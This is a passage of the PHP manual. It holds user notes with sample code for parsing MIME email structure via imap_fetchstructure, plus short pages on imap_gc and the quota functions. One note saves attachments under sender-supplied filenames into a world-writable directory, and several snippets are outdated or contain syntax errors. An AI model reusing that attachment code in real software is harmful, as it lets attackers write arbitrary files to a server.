        while (preg_match('/^(.*)=\?([^?]*)\?(Q|B)\?(.*)$/Ui', $cabecalho)){
            $cabecalho = preg_replace("/(\t|\r|\n)/", "", $cabecalho);
            $cabecalho = preg_replace("/\?(Q|B)\?=/Ui", "?\\1? =", $cabecalho);

            $partes_cabecalho = explode("?=", $cabecalho);

            $resultado = "";
            foreach ($partes_cabecalho as $texto){
                $texto = preg_replace("/\?(Q|B)\?\s=/Ui", "?\\1?=", $texto);
                $texto = preg_replace("/\?(Q|B)\?/Ui", "=?\\1=?", $texto);

                if (preg_match('/^(.*)=\?([^?]*)=\?(Q|B)=\?(.*)$/Ui', $texto)){
                    $partes_texto = explode ("=?", $texto);

                    $parte = descodificar_parte($partes_texto[0], $partes_texto[1]);
                    $parte .= descodificar_parte($partes_texto[3], $partes_texto[2]);
                } else {
                    $parte = $texto;
                }

                if (strtoupper($partes_texto[1]) == "UTF-8"){ $parte = utf8_decode($parte);}
                $resultado .= $parte;
            }
            $cabecalho = $resultado;
        }

        return trim($cabecalho);
    }

    function descodificar_parte($texto, $codificacao){
        if (trim($texto) == ""){ return "";}

        if (ucfirst($codificacao) == "B"){
            $texto = base64_decode($texto);
            $texto = htmlspecialchars($texto);
        } else if (ucfirst($codificacao) == "Q"){
            $texto = str_replace("_", " ", $texto);
            $texto = quoted_printable_decode($texto);
        }
        return $texto;
    }

?>
david at hundsness dot com 02-Sep-2008 02:31
Here is code to parse and decode all types of messages, including attachments. I've been using something like this for awhile now, so it's pretty robust.

<?
function getmsg($mbox,$mid) {
    // input $mbox = IMAP stream, $mid = message id
    // output all the following:
    global $charset,$htmlmsg,$plainmsg,$attachments;
    $htmlmsg = $plainmsg = $charset = '';
    $attachments = array();

    // HEADER
    $h = imap_header($mbox,$mid);
    // add code here to get date, from, to, cc, subject...

    // BODY
    $s = imap_fetchstructure($mbox,$mid);
    if (!$s->parts)  // simple
        getpart($mbox,$mid,$s,0);  // pass 0 as part-number
    else {  // multipart: cycle through each part
        foreach ($s->parts as $partno0=>$p)
            getpart($mbox,$mid,$p,$partno0+1);
    }
}

function getpart($mbox,$mid,$p,$partno) {
    // $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple
    global $htmlmsg,$plainmsg,$charset,$attachments;

    // DECODE DATA
    $data = ($partno)?
        imap_fetchbody($mbox,$mid,$partno):  // multipart
        imap_body($mbox,$mid);  // simple
    // Any part may be encoded, even plain text messages, so check everything.
    if ($p->encoding==4)
        $data = quoted_printable_decode($data);
    elseif ($p->encoding==3)
        $data = base64_decode($data);

    // PARAMETERS
    // get all parameters, like charset, filenames of attachments, etc.
    $params = array();
    if ($p->parameters)
        foreach ($p->parameters as $x)
            $params[strtolower($x->attribute)] = $x->value;
    if ($p->dparameters)
        foreach ($p->dparameters as $x)
            $params[strtolower($x->attribute)] = $x->value;

    // ATTACHMENT
    // Any part with a filename is an attachment,
    // so an attached text file (type 0) is not mistaken as the message.
    if ($params['filename'] || $params['name']) {
        // filename may be given as 'Filename' or 'Name' or both
        $filename = ($params['filename'])? $params['filename'] : $params['name'];
        // filename may be encoded, so see imap_mime_header_decode()
        $attachments[$filename] = $data;  // this is a problem if two files have same name
    }

    // TEXT
    if ($p->type==0 && $data) {
        // Messages may be split in different parts because of inline attachments,
        // so append parts together with blank row.
        if (strtolower($p->subtype)=='plain')
            $plainmsg. = trim($data) ."\n\n";
        else
            $htmlmsg. = $data ."<br><br>";
        $charset = $params['charset'];  // assume all parts are same charset
    }

    // EMBEDDED MESSAGE
    // Many bounce notifications embed the original message as type 2,
    // but AOL uses type 1 (multipart), which is not handled here.
    // There are no PHP functions to parse embedded messages,
    // so this just appends the raw source to the main message.
    elseif ($p->type==2 && $data) {
        $plainmsg. = $data."\n\n";
    }

    // SUBPART RECURSION
    if ($p->parts) {
        foreach ($p->parts as $partno0=>$p2)
            getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    }
}
?>
phpnet,a,emailaddress,cjb,net 26-Sep-2007 07:13
Another comment to inform people about something that should really be in the function description:

imap_fetchstructure() downloads the entire email, attachments and all, rather than just the structure.
I guess it's an undocumented feature, not a bug.

I had assumed that the script would have only downloaded the amount of data that was returned, but my script downloaded a cumulative 2.5gig before i noticed.  Hopefully no-one else will have this happen.
oersoep at gmail dot com 29-Jan-2006 11:58
Please keep in mind that the "parameters" array is a stdClass object when there are no parameters, and NOT a zero-size array.
In PHP5 you'll get this error when iterating structure->parts[x]->parameters if there aren't any parameters for this part:

PHP Fatal error:  Cannot use object of type stdClass as array in file.php on line 100
sirber at detritus dot qc dot ca 04-Jan-2006 11:48
"Primary body type" of "unknown/unknown" will be int(9).
hans at lintoo dot dk 22-Sep-2005 07:07
To fetch a single part (for example to investigate a charset or something like that)

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {
        $this->structureObject = $structureInfo;

    }

    // snip....

    public function getPart($partNum) {
        $path = split("[.]",$partNum);
        $currentPart = $this->structureObject;
        foreach ($path as $key => $num) {
            $currentPart = $currentPart->parts[$num-1];
        }
        return $currentPart;
    }
}
?>
hans at lintoo dot dk 22-Sep-2005 06:14
A class for searching through a stucture object.
You can search matching 1-3 parameters or use the methods included.
Feel free to use it, correct it or extend it if you please. Enjoy!

http://lintoo.dk/public/structureengine.class.phps

The code was too wide for this manual, so I hope the link above will do. Here a quick overview instead:

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {}
    public function locatePlain() {}
    public function locateHTML() {}
    public function locateAttachments() {}
    private function checkParam($part, $type, $value) {}
    private function findParts($partsArray, $prefix, $param1Type = 'type', $param1Value = 0, $param2Type = null, ...) {}
}
?>
john at vetsurgeon dot org dot uk 04-Jul-2005 09:07
A little script I threw together to break a message down and process it into a usable array

<?
//script will fetch an email identified by $msgid, and parse the its parts into an
//array $partsarray
//structure of array:
//$partsarray[<name of part>][<attachment/text>]
//if attachment- subarray is [filename][binary data]
//if text- subarray is [type of text(HTML/PLAIN)][text string]

//i.e.
//$partsarray[3.1][attachment][filename]=filename of attachment in part 3.1
//$partsarray[3.1][attachment][binary]=binary data of attachment in part 3.1
//$partsarray[2][text][type]=type of text in part 2
//$partsarray[2][text][string]=decoded text string in part 2
//$partsarray[not multipart][text][string]=decoded text string in message that isn't multipart

function parsepart($p,$i){
    global $link,$msgid,$partsarray;
    //where to write file attachments to:
    $filestore = '[full/path/to/attachment/store/(chmod777)]';

    //fetch part
    $part=imap_fetchbody($link,$msgid,$i);
    //if type is not text
    if ($p->type!=0){
        //DECODE PART
        //decode if base64
        if ($p->encoding==3)$part=base64_decode($part);
        //decode if quoted printable
        if ($p->encoding==4)$part=quoted_printable_decode($part);
        //no need to decode binary or 8bit!

        //get filename of attachment if present
        $filename='';
        // if there are any dparameters present in this part
        if (count($p->dparameters)>0){
            foreach ($p->dparameters as $dparam){
                if ((strtoupper($dparam->attribute)=='NAME') ||(strtoupper($dparam->attribute)=='FILENAME')) $filename=$dparam->value;
                }
            }
        //if no filename found
        if ($filename==''){
            // if there are any parameters present in this part
            if (count($p->parameters)>0){
                foreach ($p->parameters as $param){
                    if ((strtoupper($param->attribute)=='NAME') ||(strtoupper($param->attribute)=='FILENAME')) $filename=$param->value;
                    }
                }
            }
        //write to disk and set partsarray variable
        if ($filename!=''){
            $partsarray[$i][attachment] = array('filename'=>$filename,'binary'=>$part);
            $fp=fopen($filestore.$filename,"w+");
            fwrite($fp,$part);
            fclose($fp);
            }
    //end if type!=0
    }

    //if part is text
    else if($p->type==0){
        //decode text
        //if QUOTED-PRINTABLE
        if ($p->encoding==4) $part=quoted_printable_decode($part);
        //if base 64
        if ($p->encoding==3) $part=base64_decode($part);

        //OPTIONAL PROCESSING e.g. nl2br for plain text
        //if plain text

        if (strtoupper($p->subtype)=='PLAIN')1;
        //if HTML
        else if (strtoupper($p->subtype)=='HTML')1;
        $partsarray[$i][text] = array('type'=>$p->subtype,'string'=>$part);
    }

    //if subparts... recurse into function and parse them too!
    if (count($p->parts)>0){
        foreach ($p->parts as $pno=>$parr){
            parsepart($parr,($i.'.'.($pno+1)));
            }
        }
return;
}

//open resource
$link=imap_open("{localhost:110/pop3}INBOX",'[YOUR USERNAME]','[YOUR PASSWORD]');

//fetch structure of message
$s=imap_fetchstructure($link,$msgid);

//see if there are any parts
if (count($s->parts)>0){
foreach ($s->parts as $partno=>$partarr){
    //parse parts of email
    parsepart($partarr,$partno+1);
    }
}

//for not multipart messages
else{
    //get body of message
    $text=imap_body($link,$msgid);
    //decode if quoted-printable
    if ($s->encoding==4) $text=quoted_printable_decode($text);
    //OPTIONAL PROCESSING
    if (strtoupper($s->subtype)=='PLAIN') $text=$text;
    if (strtoupper($s->subtype)=='HTML') $text=$text;

    $partsarray['not multipart'][text]=array('type'=>$s->subtype,'string'=>$text);
}

print_r($partsarray);
?>
masterbassist 18-Apr-2005 09:52
I think the following line (when building attachment information)

>>> "filename" => $parts[$i]->parameters[0]->value

needs to be

>>> "filename" => $parts[$i]->dparameters[0]->value

The first version generated a PHP warning under PHP 5.0.3.  The second version actually gets the filename.
spam at emielmols dot info 01-Apr-2005 03:47
I've created a function which simply extracts basic message content as a string ($content) and attachments as an array ($attachments). I've tested it with messages from Outlook, Outlook Express and Hotmail. Perhaps it's useful to anyone.

<?php
        $struct = imap_fetchstructure($mbox, $mid);

        $parts = $struct->parts;
        $i = 0;

        if (!$parts) { /* Simple message, only 1 piece */
          $attachment = array(); /* No attachments */
          $content = imap_body($mbox, $mid);
        } else { /* Complicated message, multiple parts */

          $endwhile = false;

          $stack = array(); /* Stack while parsing message */
          $content = "";    /* Content of message */
          $attachment = array(); /* Attachments */

          while (!$endwhile) {
            if (!$parts[$i]) {
              if (count($stack) > 0) {
                $parts = $stack[count($stack)-1]["p"];
                $i     = $stack[count($stack)-1]["i"] + 1;
                array_pop($stack);
              } else {
                $endwhile = true;
              }
            }

            if (!$endwhile) {
              /* Create message part first (example '1.2.3') */
              $partstring = "";
              foreach ($stack as $s) {
                $partstring .= ($s["i"]+1) . ".";
              }
              $partstring .= ($i+1);

              if (strtoupper($parts[$i]->disposition) == "ATTACHMENT") { /* Attachment */
                $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                      "filedata" => imap_fetchbody($mbox, $mid, $partstring));
              } elseif (strtoupper($parts[$i]->subtype) == "PLAIN") { /* Message */
                $content .= imap_fetchbody($mbox, $mid, $partstring);
              }
            }

            if ($parts[$i]->parts) {
              $stack[] = array("p" => $parts, "i" => $i);
              $parts = $parts[$i]->parts;
              $i = 0;
            } else {
              $i++;
            }
          } /* while */
        } /* complicated message */

        echo "Analyzed message $mid, result: <br />";
        echo "Content: $content<br /><br />";
        echo "Attachments:"; print_r ($attachment);
?>
y dot daradkeh at gmail dot com 20-Dec-2004 07:40
Hey people, get the message attachments with this code:

<?php

$mbox = imap_open("$imap_server".$f,$name,$pass);

// delibertely choose a message with an attachment

$info = imap_fetchstructure($mbox, $mno);

// find out how may parts the object has
$numparts = count($info->parts);

$i=0;
// find if multipart message
if ($numparts >1)
{
   echo "<b>More than one part</b><br><br>";

   foreach ($info->parts as $part)
   {
      if ($part->disposition == "INLINE")
         printf("Inline message has %s lines<BR>", $part->lines);
     elseif ($part->disposition == "attachment")
     {
       $i++;
       echo $i." Attachment/s found!<br>";
       echo "Filename: ".$part->dparameters[0]->value."<br><br>";
     }
   }
}
else
   echo "Only one part";

imap_close($mbox);
?>
aperez at informatica dot 24ruedas dot com 16-Jun-2004 12:10
About above comment and source code I wrote: certainly, plain/html text files are attachments, but I've written my code thinking about web IMAP clients, where text parts are not for downloading, simply they are shown. That's the reason.

Thanks anyway. :)
passeniermaxime at hotmail dot com 15-Jun-2004 08:15
I have written a code that check's for attachments.
There is a slight problem with the above code;
when you send a mail with a .txt document as attachment
the type will be 0 and so there won't be a attachment found.

I check for the disposition of the body part witch can be inline or attachment.
If this is an attachment he will display it.
You an also mix up both codes by checking on the type and the disposition.

//////////////////////////////////
///   $mbox = connection
///   $a_mails_sort[$i] = message id

$structuur = imap_fetchstructure($mbox,$a_mails_sort[$i]);
$bericht_delen=$structuur->parts;
for($i_delen = 0; $i_delen<=count($bericht_delen);$i_delen++)
  {
  if($bericht_delen[$i_delen]->disposition == "attachment")
    {
    $attachment = "OK";
    }// end if
  }//end for
aperez at informatica dot 24ruedas dot com 25-May-2004 12:12
This is my function to check attachments:

<?php
  $est=imap_fetchstructure($con,$msg);

  if(checkAttachments($est))
  {
    echo("You have attachment(s)");
  }
  else
  {
    echo("You don't have attachment(s)");
  }

  function checkAttachments($estMsg)
  {
    if(($estMsg->type!=0) && ($estMsg->type!=1))
    {
      // Text and multipart parts will not be shown as attachments
      return(true);
    }
    else
    {
      // If there's no attachments, parts inside will be checked
      if($estMsg->parts)
      {
        $partMsg=$estMsg->parts;
        $i=0;
        // Parts will be checked while no attachments found or not all of them checked
        while(!(checkAttachments($partMsg[$i])) && ($i<sizeof($estMsg->parts)))
        {
          $i++;
        }

        // If any 'checkAttachment' calls returned 'true', 'i' should be
        // equal to number of parts(after increased in while). So, no
        // attachments found
        if($i==sizeof($estMsg->parts))
        {
          return(false);
        }
        else
        {
          return(true);
        }
      }
      else
      {
        // If no parts and text or multipart type, no attachments
        return(false);
      }
    }
  }
  imap_close($con);
?>

I hope this helps somebody else(if bugs, thanks for your fixes).
richy at smilingsouls dot net 28-Jan-2004 03:08
After many long hours of pouring over the object returned by imap_fetchstructure() I came up with the solution posted at the following url:

http://p2p.wrox.com/topic.asp?TOPIC_ID=9063

The url above provides an example of how to access variables in the object returned by imap_fetchstructure().  This class creates an object with member variables containing the correct part numbers which are compatible with the imap_fetchbody() function.

The structure returned looks something like this:

                       0 Raw Headers
$this->pid[$mid][0]  =  1 text/plain                        top level message
$this->pid[$mid][1]  =  2 message/rfc822                    entire unparsed message
                                                             multipart/mixed - part is skipped!
                           2.0 Raw Headers
$this->pid[$mid][2]  =      2.1 multipart/alternative       contains unparsed contents of next subpart (text/plain && text/html)
                                2.1.0 Raw Headers
$this->pid[$mid][3]  =          2.1.1 text/plain            2nd level inline embedded message
$this->pid[$mid][4]  =          2.1.2 text/html

$this->pid[$mid][5]  =      2.2 message/rfc822              entire unparsed message
                                                             multipart/mixed - part is skipped!
                                2.2.0 Raw Headers
$this->pid[$mid][6]  =          2.2.1 multipart/alternative
$this->pid[$mid][7]  =              2.2.1.1 text/plain      3rd level inline embedded message
$this->pid[$mid][8]  =              2.2.1.2 text/html
$this->pid[$mid][9]  =            2.2.2 image/jpeg
$this->pid[$mid][10] =             2.2.3 image/jpeg
$this->pid[$mid][11] =            2.2.4 image/jpeg
$this->pid[$mid][12] =            2.2.5 image/gif

Its important to note why multipart/related, multipart/mixed and certain multipart/alternative (if parent part is message/rfc822 && not multipart/mixed) parts are skipped, imap_fetchbody **does not** retreive a message part for these parts.  Which isn't a bug, as I have read in other places, these parts exist for the purpose of designing the viewer portion of a mail application.  Also, headers aren't assigned part numbers here because they are easy to pick out.

: )
Rich
chrislhill at "O_o" hotmail dot com 23-Oct-2003 11:36
For people just beging this may help alot as I spent a couple hours just trying to relize how exact the array was stored. (at the time I did not know the print_r function :P)

$struct = imap_fetchstructure($mbox, $msgnumber);
print_r($struct);

Will give you a better example for your messages but they are called as $struct using the varible method above.

$struct->type; //would return the type
$struct->encoding //would return the encoding

and etc..

This can be done many different ways but that is the basics on pulling the info out of the structure of fetchstructure itself, I hope it helps someone starting because it wouldve helped me :/.
es96 at hotmail dot com 13-Aug-2003 02:38
If you are getting CHARSET as US-ASCII even if the header has a Content-Type: field, make sure the header also has a MIME-Version: field.

For example, the following header will correcty report charset as KOI8-R

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"

Without the MIME-Version it will be reported as US-ASII
as1 at powersite dot com dot ar 30-Dec-2002 01:57
Sorry, my before code is not complet:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
  $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
  $j = 1;
  while( imap_fetchbody( $conn, $curMsg, "$i.$j" ) ){
    $struct->parts[$i-1]->parts[$j-1] = imap_bodystruct( $conn, $curMsg, "$i.$j" );
    $j++;
    }
  $i++;
}
as1 at powersite dot com dot ar 30-Dec-2002 01:01
If your imap_fetchstructure not retrive all parts, write it:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
   $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
   $i++;
}
paradise at ml75 dot com 04-Dec-2002 07:40
I'm using freeBSD and had lots of problems with all functions/mail applications i could find on the net...

So i'm writing my own now..

Most of the stuff works fine now.. but i'm still working on the chooser to select the best part to show. (plain or HTML).

The #1 problem is that most functions give the wrong ID numbers beck to fetch the body.

Here's a sollution to that problem.. :P

// Debug function.. always handy until it's 100% completed..
   $attachments = array(); $dispos=0;
   $debug=true;
   function doDebug($msg){
      global $debug, $debug_depth, $dispos;
      if($debug){
         for($y = 0; $y < $debug_depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;");
         if($dispos == 0) echo($msg."<br/>"); else echo("<i>".$msg."</i><br/>");
      }
   }

   function Check_Part($part,$id){
      global $attachments, $debug, $debug_depth, $dispos; $ans=sizeof($attachments);
      doDebug("+Checking part $id");
      $debug_depth++;
      doDebug("Parttype=".$part->type ."/". mimetype($part->type) ."/". $part->subtype);

      if($part->ifdisposition){ $dispos++; doDebug("<b>Disposition</b>"); }
      if($part->ifdescription){ doDebug("<b>Description=".$part->description."</b>"); }

         switch($part->type){
           case 1: if((strtolower($part->subtype) == "mixed")
                        or (strtolower($part->subtype)  == "alternative")
                        or (strtolower($part->subtype) == "related")) break;

           default: $an = sizeof($attachments);
                    if($part->ifdparameters){
                       $dpara = $part->dparameters;
                       for ($v=0;$v<sizeof($dpara);$v++){
                          if (eregi("filename", $dpara[$v]->attribute))
                             $fname = $dpara[$v]->value;}
                    }
                    if($part->ifparameters){
                       if(empty($fname)){
                          $para = $part->parameters;
                          for ($v=0;$v<sizeof($para);$v++){
                             if (eregi("name", $para[$v]->attribute)) $fname = $para[$v]->value;
                          }
                       }
                    }
                    if(empty($fname))$fname = "Onbekend";

                  $attachments[$an]->id = ($an+1);
                  $attachments[$an]->part = $id;
                    $attachments[$an]->filename = $fname;
                   $attachments[$an]->type=$part->type;
                   $attachments[$an]->subtype=$part->subtype;
                   $attachments[$an]->dispos=$dispos;
                   $attachments[$an]->size=$part->bytes;
                  doDebug("Filename=".$attachments[$an]->filename); break;
         }

      for($x = 0; $x < count($part->parts); $x++){
         Check_Part($part->parts[$x], $id.".".($x+1));
      }
      doDebug("Dit deel had iets nuttigs.");
      if($part->ifdisposition) $dispos--;
      $debug_depth--;
      doDebug("-End of part $id");
   }

   function decode_mail($mbox, $msg){
      global $attachments, $debug, $debug_depth;
      doDebug("+Decoding message $msg"); $debug_depth++;
      $obj = imap_fetchstructure($mbox, $msg, FT_UID); $moet_werken=true; $id=1;
      while($moet_werken){
         Check_Part($obj, $id);

         $moet_werken=false;
      }
      $debug_depth--; doDebug("-End of message $msg");
   }

Now to get this to work..
Decode_Mail([Mailbox connection], [Message Number]);

this is the outpu attachment array..
1--1.1.1--Onbekend--0--PLAIN--0--31
2--1.1.2--Onbekend--0--HTML--0--29
3--1.2--Beschrijving Nieuw E.doc--3--MSWORD--1--613718
--------------------------------------

PS.. "Onbekend" is dutch for "Unknown".

Good luck.
Paradise (www.ml75.nl)
jcastro at elnuevodia dot com 20-Sep-2002 01:16
I think the above note about attachments is wrong. I tested sending files with and without attachments and I get the following<br>
with attachment: type=3 bytes=343648
no attachment: type=0 bytes=2
so checking for $struct->bytes == " " means nothing. At least in my test
running windows 2000, php4.2.1 using outlook and exchange. It seems that cheking the type will be more reliable
19-Sep-2002 03:20
This function sets MIME charset
parameter value to US-ASCII when
either Content-Type header is missing
or Content-Type header doesn't have
charset parameter. This may be compliant
to RFC 822, but this poses
a problem for  a calling function that
has to deal with untagged messages
in MIME charset other than US-ASCII.
To work around this,  US-ASCII
has to be treated as the absence of MIME charset.
kmakaveev(at)yahoo(dot)com 25-Jun-2002 07:29
There's a little mistake in the code above!
The second echo must return "The message has no attachment!".
And that code must have some some additional  thing to work properly! Maybe I must use ->parts to determine how many parts has a particular message!
php AT firstnetimpressions.com 18-Feb-2002 01:15
Point of clarification:

The seventh primary body type is not "Other" as documented, but actually "Model".  This encompasses IGES, VRML, MESH, DWF, etc.

http://www.isi.edu/in-notes/iana/assignments/media-types/media-types

"Other" is the eigth primary body type.
mkknapp at quadrapod dot com 25-Apr-2001 06:48
Assuming $struct = imap_fetchstructure($x,$y);

It is important to note that if a message has NO attachements, $struct->parts is an empty array, and $struct->bytes has a value.  If a message as ANY attachements, $struct->bytes ALWAYS = 0. To get the size of the primary body, you have to call structure->part[0]->bytes.  To get the size of the whole message, either strlen(imap_body) or add up the ->bytes of all the parts.

Another interesting note:
When there is body text and no attachements:
count($struct->parts) = 0
When there is body text and 1 attachement:
count($struct->parts) = 2

These imap functions could really use better documentation. Like giving the meathods for the dparameter and parameter classes...
jbrandt at europa dot com 16-Apr-2001 03:45
Parsing the recursive object returned from imap_fetchstructure is easy. However trying to figure out the name of the section to pass to imap_fetchbody() isn't quite so straight forward because the naming conventions for the MIME sections are odd. If you copy and paste the following function you can pass an UID of an IMAP message and it will print out a hierarchy of the message and label each section.

The only required parameters are $mbox and $em_uid. The other parameters are used when the function needs to call itself.

Two functions mime_encoding() and mime_type() are not included. All they do is return string for the integer represention of a mime type/encoding.

<?php
function imap_dbody($mbox, $em_uid, $mimeobj, $depth = 0, $section = 0)
{
        // If this is the first run of the function then grab a object of the MIME structure of the message

        if($section == 0) $mimeobj = imap_fetchstructure($mbox, $em_uid, FT_UID);

        for($y = 0; $y < $depth; $y++) echo("       ");

        echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
        echo(mime_encoding($mimeobj->encoding) . " (<B>$section</B>)<BR>");

        for($x = 0; $x < count($mimeobj->parts); $x++)
        {
                // If we are in the root of the object increment by whole integers

                if($section == 0) $nsection = $x + 1;

                // If we are in the object and the first sub-object of our object isn't multipart
                // then increment the postfix by ".1" otherwise we are multipart or a message
                // and leave the section id alone to be handled by the next code block

                else if(($pos = strrpos($section, ".")) && $mimeobj->parts[0]->type != TYPEMULTIPART)
                        $nsection = substr($section, 0, $pos) . "." . ($x + 1);
                else
                        $nsection = $section;

                // If there are more parts to the part about to be processed reference it as a header with ".0"
                // but only if the child of this child isn't MULTIPART

                if(count($mimeobj->parts[$x]->parts))
                {
                        // Funny really, if a mime section is a inline message that has a multipart body you reference the message
                        // mime section with "2" the inline message header with "2.0" and the subsections with "2.x"
                        // However if the mime section is a inline message with only 1 part then you reference the
                        // mime section in the message with 2.0 and the inline message body with 2.1

                        if(!($mimeobj->parts[$x]->type == TYPEMESSAGE && $mimeobj->parts[$x]->parts[0]->type == TYPEMULTIPART))
                                $nsection .= ".0";
                        else
                                $nsection .= "";
                }

                imap_dbody($mbox, $em_uid, $mimeobj->parts[$x], $depth + 1, $nsection);

        }

        // If after processing the entire MIME object the $x variable is still zero then we didn't
        // process a multipart mime message, it's just normal email so say so here.

        if($x == 0 && $section == 0)
        {
                echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
                echo(mime_encoding($mimeobj->encoding) . " (<B>1</B>) (<B>NOT MIME MULTIPART</B>)<BR>");
        }
}
?>
vksgeneric at hotmail dot com 02-Feb-2000 05:22
It looks like some clients (e.g. outlook) can attach a file that has two mime-types associated with it, like:

Content-Type: model/vrml,x-world/x-vrml

This bombs the parsing procedure somewhere in c-client, I guess, and as a result ifparameters is set to false for the respective part, and you can not retrieve filename, mimetype, or any other parameters.
hholzgra at media-engineering dot de 15-Dec-1999 01:59
the parts objects are identical in
structure to those returned by imap_fetchstructure, describing one subfolder each

parameters and dparameters are MIME-specific, theese contain the
extra parameters provided in the Content-Type and Content-Disposion Header lines such as Charset or Filename


别名 imap_body

  • ? imap_fetchstructure
  • imap_gc ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_body

imap_fetchtext

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchtext — 别名 imap_body()

说明

此函数是该函数的别名： imap_body().

User Contributed Notes

There are no user contributed notes for this page.


Clears IMAP cache

  • ? imap_fetchtext
  • imap_get_quota ?
  • PHP Manual
  • IMAP 函数
  • Clears IMAP cache

imap_gc

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_gc — Clears IMAP cache

说明

imap_gc(IMAP\Connection $imap, int $flags): bool

Purges the cache of entries of a specific type.

参数

imap

IMAP\Connection 实例。

flags

Specifies the cache to purge. It may one or a combination of the following constants: IMAP_GC_ELT (message cache elements), IMAP_GC_ENV (envelope and bodies), IMAP_GC_TEXTS (texts).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_gc() example

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password");

imap_gc($mbox, IMAP_GC_ELT);

?>

User Contributed Notes

Anonymous 23-Jul-2009 12:47
If you notice that you're program's memory usage is increasing (as observed using ps) while calling the imap functions, calling this function should free that memory.


Retrieve the quota level settings, and usage statics per mailbox

  • ? imap_gc
  • imap_get_quotaroot ?
  • PHP Manual
  • IMAP 函数
  • Retrieve the quota level settings, and usage statics per mailbox

imap_get_quota

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox

说明

imap_get_quota(IMAP\Connection $imap, string $quota_root): array|false

Retrieve the quota level settings, and usage statics per mailbox.

For a non-admin user version of this function, please see the imap_get_quotaroot() function of PHP.

参数

imap

IMAP\Connection 实例。

quota_root

quota_root should normally be in the form of user.name where name is the mailbox you wish to retrieve information about.

返回值

Returns an array with integer values limit and usage for the given mailbox. The value of limit represents the total amount of space allowed for this mailbox. The usage value represents the mailboxes current level of capacity. Will return false in the case of failure.

As of PHP 4.3, the function more properly reflects the functionality as dictated by the » RFC2087. The array return value has changed to support an unlimited number of returned resources (i.e. messages, or sub-folders) with each named resource receiving an individual array key. Each key value then contains an another array with the usage and limit values within it.

For backwards compatibility reasons, the original access methods are still available for use, although it is suggested to update.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_get_quota() example

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$quota_value = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_value)) {
echo "Usage level is: " . $quota_value['usage'];
echo "Limit level is: " . $quota_value['limit'];
}

imap_close($mbox);
?>

Example #2 imap_get_quota() 4.3 or greater example

<?php
$mbox = imap_open("{imap.example.org}", "mailadmin", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$quota_values = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_values)) {
$storage = $quota_values['STORAGE'];
echo "STORAGE usage level is: " . $storage['usage'];
echo "STORAGE limit level is: " . $storage['limit'];

$message = $quota_values['MESSAGE'];
echo "MESSAGE usage level is: " . $message['usage'];
echo "MESSAGE limit is: " . $message['limit'];

/* ... */
}

imap_close($mbox);
?>

注释

This function is currently only available to users of the c-client2000 or greater library.

The given imap must be opened as the mail administrator, otherwise this function will fail.

参见

  • imap_open() - Open an IMAP stream to a mailbox
  • imap_set_quota() - Sets a quota for a given mailbox
  • imap_get_quotaroot() - Retrieve the quota settings per user

User Contributed Notes

Anti Veeranna 01-Mar-2007 11:26
If you're using this (or probably any other imap functions) and getting "Notice: Unknown: Quota root does not exist (errflg=2) in Unknown on line 0" errors after the script finishes, then call imap_errors() function before you close the imap stream - this will clear the error stack and you don't get those annoying notices.

Took me a while to figure it out.
Shiraz Esat 20-Dec-2004 09:40
For this function to work your IMAP server must also have the 'getquota' capability!

Check this by logging in directly:
telnet <mail server> <port>

e.g. telnet mail.myserver.com 143

and then once you're connected to the server
0 CAPABILITY
dc at aufruhr dot com 18-Jul-2003 04:26
ok, this error just occurs if there are no quotas on your mailbox.

same with imap_get_quotaroot().


Retrieve the quota settings per user

  • ? imap_get_quota
  • imap_getacl ?
  • PHP Manual
  • IMAP 函数
  • Retrieve the quota settings per user

imap_get_quotaroot

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imap_get_quotaroot — Retrieve the quota settings per user

说明

imap_get_quotaroot(IMAP\Connection $imap, string $mailbox): array|false

Retrieve the quota settings per user. The limit value represents the total amount of space allowed for this user's total mailbox usage. The usage value represents the user's current total mailbox capacity.

参数

imap

IMAP\Connection 实例。

mailbox

mailbox should normally be in the form of which mailbox (i.e. INBOX).

返回值

Returns an array of integer values pertaining to the specified user mailbox. All values contain a key based upon the resource name, and a corresponding array with the usage and limit values within.

This function will return false in the case of call failure, and an array of information about the connection upon an un-parsable response from the server.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_get_quotaroot() example

<?php
$mbox = imap_open("{imap.example.org}", "kalowsky", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$quota = imap_get_quotaroot($mbox, "INBOX");
if (is_array($quota)) {
$storage = $quota['STORAGE'];
echo "STORAGE usage level is: " . $storage['usage'];
echo "STORAGE limit level is: " . $storage['limit'];

$message = $quota['MESSAGE'];
echo "MESSAGE usage level is: " . $message['usage'];
